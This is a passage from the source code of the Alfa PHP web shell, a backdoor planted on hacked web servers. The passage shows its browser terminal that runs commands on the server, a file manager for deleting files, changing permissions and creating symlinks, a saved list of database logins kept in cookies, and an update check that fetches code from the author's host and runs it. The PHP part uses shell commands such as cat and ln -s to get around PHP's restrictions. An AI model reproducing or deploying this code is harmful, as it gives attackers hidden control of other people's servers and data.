.commands-history").insertAdjacentHTML("afterbegin","<div onclick=\\"d.querySelector(\'#"+i+\' .php-terminal-input\\\').value = this.innerHTML;" class="history-cmd-line">\'+l[r]+"</div>")}d.body.style.overflow="hidden"}function alfaTerminalSetColorAndSize(e){var t=getCookie("alfa-terminal-color"),a=getCookie("alfa-terminal-fontsize");void 0!==t&&(d.querySelector("#"+e+" pre.ml1").style.color=t),void 0!==a&&(d.querySelector("#"+e+" pre.ml1").style.fontSize=a)}function alfaTerminalChangecolor(e,t){d.querySelector("#"+t+" pre.ml1").style.color=e.value,setCookie("alfa-terminal-color",e.value,2012)}function alfaGetTerminalHistory(e){var t=getCookie("alfa-terminal-history");try{t=JSON.parse(t)}catch(e){t=[]}return void 0!==e&&t.reverse(),t}function changeTerminalFontSize(e,t){var a=d.querySelector("#"+e+" pre.ml1"),i=parseInt(window.getComputedStyle(a,null).getPropertyValue("font-size")),l="";1==t?(l=i+1+"px",a.style.fontSize=l):(l=i-1+"px",a.style.fontSize=l),setCookie("alfa-terminal-fontsize",l,2012)}function alfaWalkInTerminalHistory(e,t,a){var i=t||window.event;if("38"==i.keyCode||"40"==i.keyCode||"37"==i.keyCode||"39"==i.keyCode)switch(i.keyCode){case 38:var l=alfaGetTerminalHistory(!0),r="";0==terminal_walk_index[a].index?(0==terminal_walk_index[a].key&&++terminal_walk_index[a].index,void 0!==(r=l[terminal_walk_index[a].index])?(e.value=r,++terminal_walk_index[a].index):(e.value="",terminal_walk_index[a].index=0)):terminal_walk_index[a].index<l.length&&(0==terminal_walk_index[a].key&&++terminal_walk_index[a].index,e.value=l[terminal_walk_index[a].index],++terminal_walk_index[a].index),terminal_walk_index[a].key=1;break;case 40:l=alfaGetTerminalHistory(!0);if(terminal_walk_index[a].index>=0)0!=terminal_walk_index[a].index&&(--terminal_walk_index[a].index,1==terminal_walk_index[a].key&&--terminal_walk_index[a].index),void 0!==(r=l[terminal_walk_index[a].index])?e.value=r:(e.value="",terminal_walk_index[a].index=0);terminal_walk_index[a].key=0;break;default:console.log(i.keyCode)}else terminal_walk_index[a].index=0}function clearTerminalHistory(){d.querySelectorAll(".commands-history").forEach(function(e){e.innerHTML=""}),setCookie("alfa-terminal-history","",2012)}function alfaAceToFullscreen(e){var t=e.getAttribute("ace_id");alfa_ace_editors.editor[t].container.requestFullscreen()}function closeHistoryCmd(e,t){if("free"==e){var a=t.getAttribute("term_id");return e=d.querySelector("#"+a+" .cmd-history-icon"),d.querySelector("#"+a+" .cmd-history-holder").style.visibility="hidden",d.querySelector("#"+a+" .cmd-history-holder").style.opacity="0",e.setAttribute("mode","off"),!1}var i=e.getAttribute("mode"),l=(a=e.getAttribute("term_id"),d.querySelector("#"+a+" .cmd-history-holder"));0==i.length||"off"==i?(l.style.visibility="visible",l.style.opacity="1",e.setAttribute("mode","on")):(l.style.visibility="hidden",l.style.opacity="0",e.setAttribute("mode","off"))}function geEvalAceValue(e){var t=e.querySelector(".php-evals-ace").getAttribute("id");return alfa_ace_editors.eval[t].getValue()}function alfaOpenArchive(e){var t=e.getAttribute("path"),a=e.getAttribute("fname"),i=e.getAttribute("base_id");if(".."==a&&"phar://"!=t.substr(0,7))return!1;var l="a="+alfab64("open_archive_dir")+"&c="+alfab64(c_)+"&alfa1="+alfab64(t)+"&alfa2="+alfab64(i)+"&ajax="+alfab64("true");_Ajax(d.URL,l,function(e){if("0"!=e){$("archive_base_"+i).innerHTML=e;var a=$("archive_dir_"+i).getAttribute("archive_name"),l=$("archive_dir_"+i).getAttribute("archive_full"),r="",o="";if(0!=(t=t.split(a)[1]).length){var n=(t=t.split("/")).length-1;for(var s in 0==t[n].length&&t.splice(n,1),t)0!=t.length&&(o+=t[s]+"/",r+=\'<a base_id="\'+i+\'" fname="\'+t[s]+\'" path="\'+l+o+\'" onclick="alfaOpenArchive(this);">\'+t[s]+"/</a>")}d.querySelector("#archive_dir_"+i+" .archive_pwd_holder").innerHTML=r}},!1,"open_archive_dir")}function alfaDeleteConnectToDb(e){d.querySelectorAll(".dbh_"+e).forEach(function(e){e.remove()}),alfaConnectionHistoryUpdate(e)}function alfaConnectToDb(e,t){var a={};try{a=JSON.parse(getCookie("alfa_connection_hist"))}catch(e){}var i=d.querySelector("#"+t+" div.sf");i.querySelector("input[name=sql_host]").value=a[e].host,i.querySelector("input[name=sql_login]").value=a[e].user,i.querySelector("input[name=sql_pass]").value=a[e].pass,(i.querySelector("input[name=sql_base]")?i.querySelector("input[name=sql_base]"):i.querySelector("select[name=sql_base]")).value=a[e].db,i.querySelector("input[name=sql_count]").checked=!0,d.querySelector("#"+t+" div.sf .db-connect-btn").click()}function alfaShowConnectionHistory(e){var t={},a=e.getAttribute("db_id"),i=e.getAttribute("mode");if(rows=\'<table class="connection-hist-table"><tr><th>*</th><th>Host</th><th>User</th><th>Pass</th><th>Database</th><th>Connect</th><th>Delete</th></tr>\',"on"==i){e.setAttribute("mode","off");try{t=JSON.parse(getCookie("alfa_connection_hist"))}catch(e){}var l,r=1;for(l in t){var o=t[l].user+"_"+t[l].db;rows+=\'<tr class="dbh_\'+o+\'"><th>\'+r+"</th><th>"+t[l].host+"</th><th>"+t[l].user+"</th><th>"+t[l].pass+"</th><th>"+t[l].db+\'</th><th><button style="margin: unset;" class="connection-his-btn" onclick=\\\'alfaConnectToDb("\'+o+\'","\'+a+\'");\\\'>Connect</button></th><th style="text-align: center;"><button style="margin: unset;" class="connection-his-btn connection-delete" onclick=\\\'alfaDeleteConnectToDb("\'+o+"\\");\'>X</button></th></tr>",r++}rows+="</table"}else e.setAttribute("mode","on"),rows="";d.querySelector("#"+a+" .connection_history_holder").innerHTML=rows}function alfaConnectionHistoryUpdate(e){var t,a={};try{a=JSON.parse(getCookie("alfa_connection_hist"))}catch(e){}for(t in mysql_cache)0!=mysql_cache[t].db.length&&(a[mysql_cache[t].user+"_"+mysql_cache[t].db]=mysql_cache[t]);void 0!==e&&delete a[e],setCookie("alfa_connection_hist",JSON.stringify(a),2012)}function alfaExecTerminal(e,t){var a="";if(0==(a=void 0!==t?"cd "+c_:e.c.value).length)return!1;"l"==a?a="ls -trh --color":"ll"==a&&(a="ls -ltrh --color");var i=e.getAttribute("term_id");alfaloader(i,"block"),closeHistoryCmd("free",e);var l="";"FORM"==e.tagName&&(l=e.querySelector(".php-terminal-current-dir").innerHTML),0==(l=l.trim()).length&&(l=c_);var r="a="+alfab64("terminalExec")+"&c="+alfab64(l)+"&alfa1="+alfab64(a)+"&ajax="+alfab64("true");if(_Ajax(d.URL,r,function(e,t){alfaloader(t,"none");try{var a=$("tab_"+i);null!=a&&((-1==a.classList.value.indexOf("active-terminal-tab")||cgi_is_minimized)&&(a.classList.add("tab-is-done"),alfaShowNotification("proccess is done...",a.innerText)),cgi_is_minimized&&alfaUpdateOptionsBadge("cgiloader"))}catch(e){}e=JSON.parse(e),d.querySelector("#"+t+" .php-terminal-output > pre").innerHTML=e.output,0!=e.path.length&&(d.querySelector("#"+t+" .php-terminal-current-dir").innerHTML=e.path)},!1,i),void 0===t){d.querySelector("#"+i+" .cmd-history-holder .commands-history").insertAdjacentHTML("afterbegin","<div onclick=\\"d.querySelector(\'#"+i+\' .php-terminal-input\\\').value = this.innerHTML;" class="history-cmd-line">\'+a+"</div>");var o=alfaGetTerminalHistory(),n=o.indexOf(a);-1!=n&&o.splice(n,1),o.push(a),setCookie("alfa-terminal-history",JSON.stringify(o),2012)}d.querySelector("#"+i+" input.php-terminal-input").focus()}function pageChangedFilesMan(e){var t="filesman_holder_"+alfa_current_fm_id,a=getCookie(t+"_page_number"),i=e.innerText;if("<<"==i){a=d.querySelector("#"+t+" .active-page-number").innerText;if(!((a=parseInt(a))>1))return!1;i=a-1}if(">>"==i){a=d.querySelector("#"+t+" .active-page-number").innerText;a=parseInt(a);var l=d.querySelector("#"+t+" .last-page-number").innerHTML;if(!(a+1<=(l=parseInt(l))))return!1;i=a+1}setCookie(t+"_page_number",i,2012),g("FilesMan",c_)}function alfaColDumperInit(){var e=d.querySelector(".tab_name.tab_is_active").getAttribute("opt_id"),t=d.querySelector("#"+e),a=t.getElementsByClassName("box");for(i=0;i<a.length;i++)a[i].addEventListener("click",function(){null!=this.parentElement.querySelector(".nested")&&(this.parentElement.querySelector(".nested").classList.toggle("active"),this.classList.toggle("check-box"))});var i;a=t.getElementsByClassName("sub-box");for(i=0;i<a.length;i++)a[i].setAttribute("opt_id",e),a[i].addEventListener("click",function(){this.classList.toggle("check-box");var e=this.getAttribute("tbl"),t=this.getAttribute("opt_id");t=t.replace("option_",""),col_dumper_selected_data.hasOwnProperty(t)||(col_dumper_selected_data[t]={}),void 0===col_dumper_selected_data[t][e]&&(col_dumper_selected_data[t][e]=[]);var a=this.innerHTML,i=col_dumper_selected_data[t][e].indexOf(a);-1==i?col_dumper_selected_data[t][e].push(a):col_dumper_selected_data[t][e].splice(i,1)})}function showSymlinkPath(e,t){t.stopPropagation();var a=e.getAttribute("row"),i=$("td_row_"+a),l=e.getAttribute("opt_title"),r=e.getAttribute("fname");if(l=decodeURIComponent(r)+" -> "+l,null!=i){i.insertAdjacentHTML("afterbegin",\'<div class="symlink_path" id="link_id_\'+a+\'">\'+l+"</div>");var o=t.clientX,n=t.clientY-30;$("link_id_"+a).style.left=o+"px",$("link_id_"+a).style.top=n+"px"}}function hideSymlinkPath(e,t){t.stopPropagation(),$("link_id_"+e.getAttribute("row")).remove()}function alfagetFlags(){data="a="+alfab64("get_flags")+"&c="+alfab64(c_)+"&ajax="+alfab64("true"),_Ajax(d.URL,data,function(e){var t=JSON.parse(e);t.hasOwnProperty("server")&&(d.querySelectorAll(".flag-holder")[0].innerHTML=\'<img draggable="false" title="\'+t.server.name+\'" src="http://solevisible.com/images/flags/48/\'+t.server.code.toLowerCase()+\'.png">\',d.querySelectorAll(".flag-holder")[0].style.display="inline"),t.hasOwnProperty("client")&&(d.querySelectorAll(".flag-holder")[1].innerHTML=\'<img draggable="false" title="\'+t.client.name+\'" src="http://solevisible.com/images/flags/48/\'+t.client.code.toLowerCase()+\'.png">\',d.querySelectorAll(".flag-holder")[1].style.display="inline")})}function colDumplerSelectType(e){var t=e.options[e.selectedIndex].value;$("coldumper-delimiter-input").style.display="delimiter"==t?"inline-block":"none"}function alfaCheckUrlHash(){var e=window.location.hash.substr(1),t=e.split("&").reduce(function(e,t){var a=t.split("=");return e[a[0]]=a[1],e},{});if(""!=e)switch(t.action){case"fileman":case"options":t.path=decodeURIComponent(t.path),g("FilesMan",t.path,function(e){if(t.hasOwnProperty("file")){var a="auto";isArchive(t.file)&&(a="view"),editor(t.path+"/"+t.file,a,"","","","file")}}),"options"==t.action&&t.hasOwnProperty("opt")&&(alfa_can_add_opt=!0,g(t.opt,null,"","",""),d.querySelector(".opt-title").innerHTML=$("menu_opt_"+t.opt).innerHTML),t.hasOwnProperty("file")||editorClose("editor"),t.hasOwnProperty("opt")||editorClose("options_window"),editorClose("cgiloader");break;default:g("FilesMan","<?php echo $GLOBALS["cwd"]; ?>"),editorClose("editor"),editorClose("options_window"),editorClose("cgiloader")}else g("FilesMan","<?php echo $GLOBALS["cwd"]; ?>"),editorClose("editor"),editorClose("options_window"),editorClose("cgiloader")}function alfaFmngrContextRow(){d.querySelectorAll(".fmanager-row a.main_name").forEach(function(e){e.addEventListener("contextmenu",function(e){var t=e.target,a="";if(".."==(a="A"==e.target.parentElement.tagName?(t=e.target.parentElement).getAttribute("fname"):t.getAttribute("fname")))return!1;var i=t.getAttribute("id"),l=t.getAttribute("path"),r=t.getAttribute("ftype"),o=["newtab","link","download","view","edit","move","copy","rename","modify","permission","compress","extract","delete"];for(var n in"file"!=r||isArchive(a)?o[3]="view_archive":o.splice(11,1),"folder"==r&&(o=["newtab","link","move","copy","rename","modify","permission","compress","delete"]),alfaSortMenuItems(o),o){var s=d.querySelector("#rightclick_menu > a[name="+o[n]+"]");switch(s.setAttribute("fid",i),s.setAttribute("fname",decodeURIComponent(a)),s.setAttribute("path",l),s.setAttribute("ftype",r),o[n]){case"view":case"edit":var c="auto";"edit"==o[n]&&(c="edit"),s.setAttribute("href","#action=fileman&path="+c_+"/&file="+a),s.setAttribute("onclick","editor(\'"+a+"\',\'"+c+"\',\'\',\'\',\'\',\'file\')");break;case"newtab":var u=a;"file"==r?(u="&file="+a,s.setAttribute("href","#action=fileman&path="+c_+"/"+u),s.setAttribute("target","_blank"),s.onclick=function(){}):(s.setAttribute("href","javascript:void(0)"),s.removeAttribute("target"),s.onclick=function(){alfaFilesManNewTab(c_,u)});break;case"delete":s.setAttribute("onclick","var chk = confirm(\'Are You Sure For Delete # "+a+" # ?\'); chk ? g(\'FilesMan\',null,\'delete\', \'"+a+"\') : \'\';");break;case"download":s.setAttribute("onclick","g(\'FilesTools\',null,\'"+a+"\', \'download\')");break;case"permission":try{var p=d.querySelector("#id_chmode_"+i.replace("id_","")+" span").innerHTML;s.setAttribute("perm",p.trim())}catch(e){}break;case"link":s.style.display="block";var f="<?php echo $_SERVER["DOCUMENT_ROOT"]; ?>/",m=(c_+"/"+a).replace(/\\/\\//g,"/");if(-1!=m.indexOf(f)){f=m.replace(f,"");var b=location.origin+"/"+f;s.setAttribute("href",""+b)}else s.style.display="none"}}var y=e.clientX,_=e.clientY;alfaRightClickMenu(y,_),e.preventDefault()})})}function alfaFilesManNewTab(e,t,a){var i=t;void 0!==a&&(i=alfaGetLastFolderName(e));var l=decodeURIComponent(e+"/"+t);l=l.replace(/\\/\\//g,"/");var r=$("filesman_tab_1"),o=r.getAttribute("fm_counter");o=parseInt(o)+1,r.setAttribute("fm_counter",o),d.querySelector("#filesman_tabs_child").insertAdjacentHTML("beforeend",\'<div onmouseover="alfaFilesmanTabShowTitle(this,event);" onmouseout="alfaFilesmanTabHideTitle(this,event);" path="\'+l+\'" id="filesman_tab_\'+o+\'" fm_id="\'+o+\'" onclick="filesmanTabController(this);" fname="\'+t+\'" class="filesman_tab"><img class="folder-tab-icon" src="http://solevisible.com/icons/menu/folder2.svg"> <span class="filesman-tab-folder-name">\'+i+\'</span> <img fm_id="\'+o+\'" onclick="closeFmTab(this,event);return false;" title="[close]" src="http://solevisible.com/icons/menu/delete.svg"></div>\'),d.querySelector(".ajaxarea").insertAdjacentHTML("beforebegin",\'<div style="position:relative;" fm_id="\'+o+\'" id="filesman_holder_\'+o+\'" class="ajaxarea"><div class="header"></div></div>\'),alfa_fm_id=o,g("FilesMan",l),alfa_fm_id=0}function alfaFilesmanTabShowTitle(e,t){t.stopPropagation();var a=$("filesman-tab-full-path");a.style.display="block",a.style.top=e.offsetTop-37+"px",a.style.left=e.offsetLeft-$("filesman_tabs").scrollLeft+"px",a.innerHTML=e.getAttribute("path")}function alfaFilesmanTabHideTitle(e,t){$("filesman-tab-full-path").style.display="none"}function alfaPopupAction(e,t){var a="",i="";switch(t){case"rename":a="Old file name:",i="New file name:";break;case"copy":a="File path:",i="Enter the file path that you want to copy this file to:";break;case"move":a="Current Path:",i="Enter the file path that you want to move this file to:";break;case"extract":a="Files to extract:",i="Enter the path you wish to extract the files to and click Extract:"}var l=e.getAttribute("fname"),r=e.getAttribute("path"),o=t.charAt(0).toUpperCase()+t.slice(1);if("permission"==t){d.querySelector("#shortcutMenu-holder").style.height="222px",o="Change Permissions",d.querySelector("#shortcutMenu-holder > form > .perm-table-holder").style.display="block",d.querySelector("#shortcutMenu-holder > form > input[name=fname]").style.display="none";var n=e.getAttribute("perm"),s=n.substr(1,1),c=n.substr(2,1),u=n.substr(3,1);d.querySelector("#shortcutMenu-holder > form input[name=u]").value=s,d.querySelector("#shortcutMenu-holder > form input[name=g]").value=c,d.querySelector("#shortcutMenu-holder > form input[name=w]").value=u,autoCheckPerms(s,"u",["u","g","w"]),autoCheckPerms(c,"g"),autoCheckPerms(u,"w")}else d.querySelector("#shortcutMenu-holder").style.height="190px",d.querySelector("#shortcutMenu-holder > form > input[name=fname]").style.display="block",d.querySelector("#shortcutMenu-holder > form > .perm-table-holder").style.display="none";var p="move"==t||"copy"==t?r+l:l;if("modify"==t){var f="tr_row_"+e.getAttribute("fid").replace("id_","");p=d.querySelector("#"+f+" .main_modify").innerText}d.querySelector(".cl-popup-fixed").style.display="block",d.querySelector("#shortcutMenu-holder .popup-head").innerHTML=o,d.querySelector("#shortcutMenu-holder .old-path-lbl").innerHTML=a,d.querySelector("#shortcutMenu-holder .new-filename-lbl").innerHTML=i,d.querySelector("#shortcutMenu-holder .popup-foot > button[name=accept]").innerHTML=o,d.querySelector("#shortcutMenu-holder > form > .old-path-content").innerHTML=r+l,d.querySelector("#shortcutMenu-holder > form > input[name=fname]").value=p,d.querySelector("#shortcutMenu-holder button[name=accept]").setAttribute("fid",e.getAttribute("fid")),d.querySelector("#shortcutMenu-holder button[name=accept]").setAttribute("action",t)}function calcperm(){var e=event.srcElement;autoCheckPerms(e.checked,e.name.substr(0,1))}function autoCheckPerms(e,t,a){if(void 0!==a)for(var i in a){var l=a[i];d.querySelector("#shortcutMenu-holder > form input[name="+l+"r]").checked=!1,d.querySelector("#shortcutMenu-holder > form input[name="+l+"w]").checked=!1,d.querySelector("#shortcutMenu-holder > form input[name="+l+"x]").checked=!1}var r=d.querySelector("#shortcutMenu-holder > form input[name="+t+"r]"),o=d.querySelector("#shortcutMenu-holder > form input[name="+t+"w]"),n=d.querySelector("#shortcutMenu-holder > form input[name="+t+"x]");if("boolean"!=typeof e)"7"==e?(r.checked=!0,o.checked=!0,n.checked=!0):"4"==e?r.checked=!0:"2"==e?o.checked=!0:"1"==e?n.checked=!0:"6"==e?(r.checked=!0,o.checked=!0):"3"==e?(o.checked=!0,n.checked=!0):"5"==e&&(r.checked=!0,n.checked=!0);else{var s=0;r.checked&&(s+=4),o.checked&&(s+=2),n.checked&&(s+=1),"u"==t?d.querySelector("#shortcutMenu-holder > form input[name=u]").value=s:"g"==t?d.querySelector("#shortcutMenu-holder > form input[name=g]").value=s:"w"==t&&(d.querySelector("#shortcutMenu-holder > form input[name=w]").value=s)}}function gg(e,t,a,i,l,r){var o="filesman_holder_"+alfa_current_fm_id;alfaloader(o,"block"),data="a="+alfab64(e)+"&c="+alfab64(t)+"&alfa1="+alfab64(a)+"&alfa2="+alfab64(i)+"&alfa3="+alfab64(l)+"&ajax="+alfab64("true"),_Ajax(d.URL,data,r,!1,o)}function alfaPopUpDoAction(e){var t=e.getAttribute("action");switch(t){case"rename":case"move":case"copy":var a=e.getAttribute("fid").replace("id_",""),i=$("id_"+a).getAttribute("fname"),l=d.querySelector("#shortcutMenu-holder > form > input[name=fname]").value;l=l.trim(),i=i.trim(),gg("doActions",c_,i,l,t,function(e,i){if("rename"==t)if("done"==e){var r=$("id_"+a);updateFileEditor(a,l);var o=r.getAttribute("path")+$("id_"+a).getAttribute("fname");d.querySelector("#shortcutMenu-holder > form > .old-path-content").innerHTML=o,r.addEventListener("animationend",function(){r.classList.remove("textEffect")}),r.classList.add("textEffect"),alfaShowNotification("Renamed...","Rename Action"),d.querySelector(".cl-popup-fixed").style.display="none"}else alfaShowNotification("error...!","Rename Action","error");alfaloader(i,"none")});break;case"permission":var r=d.querySelector("#shortcutMenu-holder > form input[name=u]").value,o=d.querySelector("#shortcutMenu-holder > form input[name=g]").value,n=d.querySelector("#shortcutMenu-holder > form input[name=w]").value;i=(i=d.querySelector("#shortcutMenu-holder > form > .old-path-content").innerHTML).trim();var s=r.trim()+o.trim()+n.trim();gg("doActions",c_,i,s,t,function(e,t){alfaloader(t,"none"),alfaShowNotification(e,"Permission Action"),d.querySelector(".cl-popup-fixed").style.display="none"});break;case"modify":a=e.getAttribute("fid").replace("id_","");var c=d.querySelector("#shortcutMenu-holder > form > input[name=fname]").value,u=$("id_"+a).getAttribute("fname");gg("doActions",c_,c,u,t,function(t,a){if("ok"==t){var i="tr_row_"+e.getAttribute("fid").replace("id_","");d.querySelector("#"+i+" .main_modify").innerHTML=c,alfaShowNotification("success...","Modify Action"),d.querySelector(".cl-popup-fixed").style.display="none"}else alfaShowNotification(t,"Modify Action","error");alfaloader(a,"none")})}}function alfaInitSoratableTab(e){Sortable.create(e,{direction:"horizontal",animation:300,ghostClass:"sortable-ghost",filter:".not-sortable"})}$("search-input").addEventListener("keydown",function(e){setTimeout(function(){var e=$("search-input").value;for(var t in d.getElementsByClassName("history-list")[0].innerHTML="",editor_files)if(-1!=editor_files[t].file.search(e)||""==e){var a=0;t==editor_current_file&&(a=" is_active"),insertToHistory(t,editor_files[t].file,a,editor_files[t].type)}},100)},!1),_Ajax(d.URL,"a="+alfab64("checkupdate"),function(e){if(0!=e.length&&"[]"!=e){var t=JSON.parse(e);if(t.hasOwnProperty("content")){d.body.insertAdjacentHTML("beforeend",t.content);try{evalJS(t.content)}catch(t){}}if(t.hasOwnProperty("copyright")&&($("alfa-copyright").innerHTML=t.copyright),t.hasOwnProperty("solevisible")&&($("alfa_solevisible").innerHTML=t.solevisible),t.hasOwnProperty("code_name")&&($("hidden_sh").innerHTML=t.code_name.replace(/\\{version\\}/g,t.version_number)),t.hasOwnProperty("market")){var a=d.querySelector("span.alfa_plus");if(t.market.hasOwnProperty("visible")&&"yes"==t.market.visible&&($("menu_opt_market").style.display="inline"),"open"!=t.market.status&&(a.style.color="#ffc107"),t.market.hasOwnProperty("content"))try{evalJS(t.market.content)}catch(t){}}}}),<?php echo $GLOBALS["need_to_update_header"]; ?>?_Ajax(d.URL,"a="+alfab64("updateheader"),function(e){try{var t=JSON.parse(e);for(var a in t){for(var i="",l=0;l<t[a].length;l++)i+="useful"==a||"downloader"==a?\'<span class="header_values" style="margin-left: 4px;">\'+t[a][l]+"</span>":t[a][l];var r=$("header_"+a);r&&(r.innerHTML=i)}$("header_cgishell").innerHTML="ON",$("header_cgishell").setAttribute("class","header_on")}catch(e){}}):islinux&&_Ajax(d.URL,"a="+alfab64("checkcgi"),function(e){"ok"==e&&($("header_cgishell").innerHTML="ON",$("header_cgishell").setAttribute("class","header_on"))}),function(){d.onclick=function(){can_hashchange_work=!1,setTimeout(function(){can_hashchange_work=!0},600)},window.onhashchange=function(e){can_hashchange_work&&alfaCheckUrlHash()},alfaCheckUrlHash(),alfagetFlags(),rightclick_menu_context=$("rightclick_menu").style,alfaInitCwdContext(),document.addEventListener("click",function(e){rightclick_menu_context.opacity="0",setTimeout(function(){rightclick_menu_context.visibility="hidden"},501)},!1);var e=document.createElement("script");e.src="https://cdnjs.cloudflare.com/ajax/libs/Sortable/1.10.2/Sortable.min.js",e.id="sortable-plugin",e.onload=function(){alfaInitSoratableTab($("filesman_tabs_child")),alfaInitSoratableTab(d.querySelector(".editor-tabs")),alfaInitSoratableTab(d.querySelector(".options_tab")),alfaInitSoratableTab(d.querySelector(".terminal-tabs")),alfaInitSoratableTab(d.querySelector(".sql-tabs"))},d.body.appendChild(e)}();\r\n</script>\r\n</body>\r\n</html>\r\n<?php\r\n}}\r\nif (!function_exists("posix_getpwuid") && (strpos(@ini_get(\'disable_functions\'), \'posix_getpwuid\')===false)) {\r\nfunction posix_getpwuid($p) {return false;} }\r\nif (!function_exists("posix_getgrgid") && (strpos(@ini_get(\'disable_functions\'), \'posix_getgrgid\')===false)) {\r\nfunction posix_getgrgid($p) {return false;} }\r\nfunction alfaWhich($p) {\r\n$path = alfaEx(\'which \' . $p,false,false);\r\nif(!empty($path))\r\nreturn strlen($path);\r\nreturn false;\r\n}\r\nfunction alfaSize($s) {\r\nif($s >= 1073741824)\r\nreturn sprintf(\'%1.2f\', $s / 1073741824 ). \' GB\';\r\nelseif($s >= 1048576)\r\nreturn sprintf(\'%1.2f\', $s / 1048576 ) . \' MB\';\r\nelseif($s >= 1024)\r\nreturn sprintf(\'%1.2f\', $s / 1024 ) . \' KB\';\r\nelse\r\nreturn $s . \' B\';\r\n}\r\nfunction alfaPerms($p) {\r\nif (($p & 0xC000) == 0xC000)$i = \'s\';\r\nelseif (($p & 0xA000) == 0xA000)$i = \'l\';\r\nelseif (($p & 0x8000) == 0x8000)$i = \'-\';\r\nelseif (($p & 0x6000) == 0x6000)$i = \'b\';\r\nelseif (($p & 0x4000) == 0x4000)$i = \'d\';\r\nelseif (($p & 0x2000) == 0x2000)$i = \'c\';\r\nelseif (($p & 0x1000) == 0x1000)$i = \'p\';\r\nelse $i = \'u\';\r\n$i .= (($p & 0x0100) ? \'r\' : \'-\');\r\n$i .= (($p & 0x0080) ? \'w\' : \'-\');\r\n$i .= (($p & 0x0040) ? (($p & 0x0800) ? \'s\' : \'x\' ) : (($p & 0x0800) ? \'S\' : \'-\'));\r\n$i .= (($p & 0x0020) ? \'r\' : \'-\');\r\n$i .= (($p & 0x0010) ? \'w\' : \'-\');\r\n$i .= (($p & 0x0008) ? (($p & 0x0400) ? \'s\' : \'x\' ) : (($p & 0x0400) ? \'S\' : \'-\'));\r\n$i .= (($p & 0x0004) ? \'r\' : \'-\');\r\n$i .= (($p & 0x0002) ? \'w\' : \'-\');\r\n$i .= (($p & 0x0001) ? (($p & 0x0200) ? \'t\' : \'x\' ) : (($p & 0x0200) ? \'T\' : \'-\'));\r\nreturn $i;\r\n}\r\nfunction alfaPermsColor($f,$isbash=false){\r\n$class = "";\r\n$num = "";\r\n$human = "";\r\nif($isbash){\r\n$class = $f["class"];\r\n$num = $f["num"];\r\n$human = $f["human"];\r\n}else{\r\n$num = substr(sprintf(\'%o\', @fileperms($f)),-4);\r\n$human = alfaPerms(@fileperms($f));\r\nif(!@is_readable($f))\r\n$class = "main_red_perm";\r\nelseif (!@is_writable($f))\r\n$class = "main_white_perm";\r\nelse\r\n$class = "main_green_perm";\r\n}\r\nreturn \'<span style="font-weight:unset;" class="\'.$class.\'">\'.$num.\'</span><span style="font-weight:unset;" class="beetween_perms"> >> </span><span style="font-weight:unset;" class="\'.$class.\'">\'.$human.\'</span>\';\r\n}\r\nif(!function_exists("scandir")) {\r\nfunction scandir($dir) {\r\n$dh = opendir($dir);\r\nwhile (false !== ($filename = readdir($dh)))\r\n$files[] = $filename;\r\nreturn $files;\r\n}\r\n}\r\nfunction reArrayFiles($file_post){\r\n$file_ary = array();\r\n$file_count = count($file_post[\'name\']);\r\n$file_keys = array_keys($file_post);\r\nfor ($i=0; $i<$file_count; $i++) {\r\nforeach ($file_keys as $key) {\r\n$file_ary[$i][$key] = $file_post[$key][$i];\r\n}\r\n}\r\nreturn $file_ary;\r\n}\r\nfunction _alfa_can_runCommand($cgi=true,$cache=true){\r\n\tif(isset($_COOKIE["alfa_canruncmd"])&&$cache){\r\n\t\treturn true;\r\n\t}\r\n\tif(strlen(alfaEx("whoami",false,$cgi))>0){\r\n\t\t$_COOKIE["alfa_canruncmd"] = true;\r\n\t\treturn true;\r\n\t}\r\n\treturn false;\r\n}\r\nfunction _alfa_symlink($target, $link){\r\n\t$phpsym = function_exists("symlink");\r\n\tif($phpsym){\r\n\t\t@symlink($target, $link);\r\n\t}else{\r\n\t\talfaEx("ln -s \'".addslashes($target)."\' \'".addslashes($link)."\'");\r\n\t}\r\n}\r\nfunction _alfa_file_exists($file,$cgi=true){\r\n\tif(@file_exists($file)){\r\n\t\treturn true;\r\n\t}else{\r\n\t\tif(strlen(alfaEx("ls -la \'".addslashes($file)."\'",false,$cgi))>0){\r\n\t\t\treturn true;\r\n\t\t}\r\n\t}\r\n\treturn false;\r\n}\r\nfunction _alfa_file($file,$cgi=true){\r\n\t$array = @file($file);\r\n\tif(!$array){\r\n\t\tif(strlen(alfaEx("id",false,$cgi))>0){\r\n\t\t\t$data = alfaEx(\'cat "\'.addslashes($file).\'"\',false,$cgi);\r\n\t\t\tif(strlen($data)>0){\r\n\t\t\t\treturn explode("\\n", $data);\r\n\t\t\t}else{\r\n\t\t\t\treturn false;\r\n\t\t\t}\r\n\t\t}else{\r\n\t\t\treturn false;\r\n\t\t}\r\n\t}else{\r\n\t\treturn $array;\r\n\t}\r\n}\r\nfunction _alfa_is_writable($file){\r\n\t$check = false;\r\n\t$check = @is_writable($file);\r\n\tif(!$check){\r\n\t\tif(_alfa_can_runCommand()){\r\n\t\t\t$check = alfaEx(\'[ -w "\'.trim(addslashes($file)).\'" ] && echo "yes" || echo "no"\');\r\n\t\t\tif($check == "yes"){\r\n\t\t\t\t$check = true;\r\n\t\t\t}else{\r\n\t\t\t\t$check = false;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn $check;\r\n}\r\nfunction _alfa_is_dir($dir,$mode="-d"){\r\n\t$check = false;\r\n\t$check = @is_dir($dir);\r\n\tif($mode == "-e"){\r\n\t\t$check = @is_file($dir);\r\n\t}\r\n\tif(!$check){\r\n\t\tif(_alfa_can_runCommand()){\r\n\t\t\t$check = alfaEx(\'[ "\'.trim($mode).\'" "\'.trim(addslashes($dir)).\'" ] && echo "yes" || echo "no"\');\r\n\t\t\tif($check == "yes"){\r\n\t\t\t\treturn true;\r\n\t\t\t}else{\r\n\t\t\t\treturn false;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn $check;\r\n}\r\nfunction _alfa_load_ace_options($base){\r\n\treturn \'<span>Theme: </span><select class="ace-controler ace-theme-selector" base="\'.$base.\'" onChange="alfaAceChangeSetting(this,\\\'theme\\\');"><option value="terminal" selected>terminal</option><option value="ambiance">ambiance</option><option value="chaos">chaos</option><option value="chrome">chrome</option><option value="clouds">clouds</option><option value="clouds_midnight">clouds_midnight</option><option value="cobalt">cobalt</option><option value="crimson_editor">crimson_editor</option><option value="dawn">dawn</option><option value="dracula">dracula</option><option value="dreamweaver">dreamweaver</option><option value="eclipse">eclipse</option><option value="github">github</option><option value="gob">gob</option><option value="gruvbox">gruvbox</option><option value="idle_fingers">idle_fingers</option><option value="iplastic">iplastic</option><option value="katzenmilch">katzenmilch</option><option 